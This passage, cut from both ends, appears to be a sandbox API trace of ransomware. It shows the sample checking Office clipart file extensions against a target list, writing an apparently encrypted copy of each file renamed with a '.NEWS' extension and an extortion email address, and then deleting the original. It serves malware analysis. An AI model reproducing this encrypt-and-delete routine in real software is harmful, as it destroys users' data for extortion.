Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.311] lstrlenW (lpString=".1cd") returned 4 [0080.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.311] lstrlenW (lpString=".jpg") returned 4 [0080.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.311] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.312] lstrlenW (lpString="BL00524_.WMF") returned 12 [0080.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.312] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=6996) returned 1 [0080.312] CloseHandle (hObject=0x35c) returned 1 [0080.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0080.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.312] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.312] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0080.313] GetLastError () returned 0x0 [0080.313] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1b54, lpOverlapped=0x0) returned 1 [0080.739] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1b60, lpOverlapped=0x0) returned 1 [0080.740] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.740] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.740] SetEndOfFile (hFile=0x394) returned 1 [0081.286] CloseHandle (hObject=0x394) returned 1 [0081.286] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.286] SetEndOfFile (hFile=0x35c) returned 1 [0081.287] CloseHandle (hObject=0x35c) returned 1 [0081.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0081.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.288] lstrlenW (lpString=".doc") returned 4 [0081.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.288] lstrlenW (lpString=".docx") returned 5 [0081.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.288] lstrlenW (lpString=".pdf") returned 4 [0081.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.288] lstrlenW (lpString=".xls") returned 4 [0081.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.288] lstrlenW (lpString=".xlsx") returned 5 [0081.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.288] lstrlenW (lpString=".ppt") returned 4 [0081.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.288] lstrlenW (lpString=".zip") returned 4 [0081.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.288] lstrlenW (lpString=".rar") returned 4 [0081.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.288] lstrlenW (lpString=".bz2") returned 4 [0081.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.288] lstrlenW (lpString=".7z") returned 3 [0081.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.289] lstrlenW (lpString=".dbf") returned 4 [0081.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.289] lstrlenW (lpString=".1cd") returned 4 [0081.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.289] lstrlenW (lpString=".jpg") returned 4 [0081.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.289] lstrlenW (lpString=".doc") returned 4 [0081.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString=".docx") returned 5 [0081.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.289] lstrlenW (lpString=".pdf") returned 4 [0081.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString=".xls") returned 4 [0081.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.289] lstrlenW (lpString=".xlsx") returned 5 [0081.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.289] lstrlenW (lpString=".ppt") returned 4 [0081.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.289] lstrlenW (lpString=".zip") returned 4 [0081.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.289] lstrlenW (lpString=".rar") returned 4 [0081.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString=".bz2") returned 4 [0081.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.289] lstrlenW (lpString=".7z") returned 3 [0081.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.289] lstrlenW (lpString=".dbf") returned 4 [0081.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.290] lstrlenW (lpString=".1cd") returned 4 [0081.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0081.290] lstrlenW (lpString=".jpg") returned 4 [0081.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.290] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.290] lstrlenW (lpString="BS00186_.WMF") returned 12 [0081.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0081.290] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=12788) returned 1 [0081.290] CloseHandle (hObject=0x35c) returned 1 [0081.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0081.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0081.290] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.291] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0081.291] GetLastError () returned 0x0 [0081.291] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0081.292] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3200, lpOverlapped=0x0) returned 1 [0081.294] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.294] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.294] SetEndOfFile (hFile=0x394) returned 1 [0081.294] CloseHandle (hObject=0x394) returned 1 [0081.295] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.295] SetEndOfFile (hFile=0x35c) returned 1 [0081.296] CloseHandle (hObject=0x35c) returned 1 [0081.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0081.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.296] lstrlenW (lpString=".doc") returned 4 [0081.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString=".docx") returned 5 [0081.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.297] lstrlenW (lpString=".pdf") returned 4 [0081.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString=".xls") returned 4 [0081.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.297] lstrlenW (lpString=".xlsx") returned 5 [0081.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.297] lstrlenW (lpString=".ppt") returned 4 [0081.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.297] lstrlenW (lpString=".zip") returned 4 [0081.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.297] lstrlenW (lpString=".rar") returned 4 [0081.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString=".bz2") returned 4 [0081.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString=".7z") returned 3 [0081.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.297] lstrlenW (lpString=".dbf") returned 4 [0081.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.297] lstrlenW (lpString=".1cd") returned 4 [0081.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.297] lstrlenW (lpString=".jpg") returned 4 [0081.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.297] lstrlenW (lpString=".doc") returned 4 [0081.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.297] lstrlenW (lpString=".docx") returned 5 [0081.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.297] lstrlenW (lpString=".pdf") returned 4 [0081.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.298] lstrlenW (lpString=".xls") returned 4 [0081.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.298] lstrlenW (lpString=".xlsx") returned 5 [0081.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.298] lstrlenW (lpString=".ppt") returned 4 [0081.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.298] lstrlenW (lpString=".zip") returned 4 [0081.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.298] lstrlenW (lpString=".rar") returned 4 [0081.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.298] lstrlenW (lpString=".bz2") returned 4 [0081.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.298] lstrlenW (lpString=".7z") returned 3 [0081.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.298] lstrlenW (lpString=".dbf") returned 4 [0081.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.298] lstrlenW (lpString=".1cd") returned 4 [0081.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0081.298] lstrlenW (lpString=".jpg") returned 4 [0081.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.298] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.298] lstrlenW (lpString="BS00200_.WMF") returned 12 [0081.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0081.299] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3104) returned 1 [0081.299] CloseHandle (hObject=0x35c) returned 1 [0081.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0081.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0081.299] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.299] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0081.300] GetLastError () returned 0x0 [0081.300] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xc20, lpOverlapped=0x0) returned 1 [0081.301] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xc30, lpOverlapped=0x0) returned 1 [0081.302] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.302] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.303] SetEndOfFile (hFile=0x394) returned 1 [0081.303] CloseHandle (hObject=0x394) returned 1 [0081.304] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.304] SetEndOfFile (hFile=0x35c) returned 1 [0081.305] CloseHandle (hObject=0x35c) returned 1 [0081.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0081.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.305] lstrlenW (lpString=".doc") returned 4 [0081.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.305] lstrlenW (lpString=".docx") returned 5 [0081.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.305] lstrlenW (lpString=".pdf") returned 4 [0081.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.305] lstrlenW (lpString=".xls") returned 4 [0081.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.305] lstrlenW (lpString=".xlsx") returned 5 [0081.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.305] lstrlenW (lpString=".ppt") returned 4 [0081.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.305] lstrlenW (lpString=".zip") returned 4 [0081.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.306] lstrlenW (lpString=".rar") returned 4 [0081.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString=".bz2") returned 4 [0081.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString=".7z") returned 3 [0081.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.306] lstrlenW (lpString=".dbf") returned 4 [0081.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.306] lstrlenW (lpString=".1cd") returned 4 [0081.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.306] lstrlenW (lpString=".jpg") returned 4 [0081.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.306] lstrlenW (lpString=".doc") returned 4 [0081.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString=".docx") returned 5 [0081.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.306] lstrlenW (lpString=".pdf") returned 4 [0081.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString=".xls") returned 4 [0081.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.306] lstrlenW (lpString=".xlsx") returned 5 [0081.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.306] lstrlenW (lpString=".ppt") returned 4 [0081.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.306] lstrlenW (lpString=".zip") returned 4 [0081.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.306] lstrlenW (lpString=".rar") returned 4 [0081.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.306] lstrlenW (lpString=".bz2") returned 4 [0081.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.307] lstrlenW (lpString=".7z") returned 3 [0081.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.307] lstrlenW (lpString=".dbf") returned 4 [0081.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.307] lstrlenW (lpString=".1cd") returned 4 [0081.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0081.307] lstrlenW (lpString=".jpg") returned 4 [0081.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") 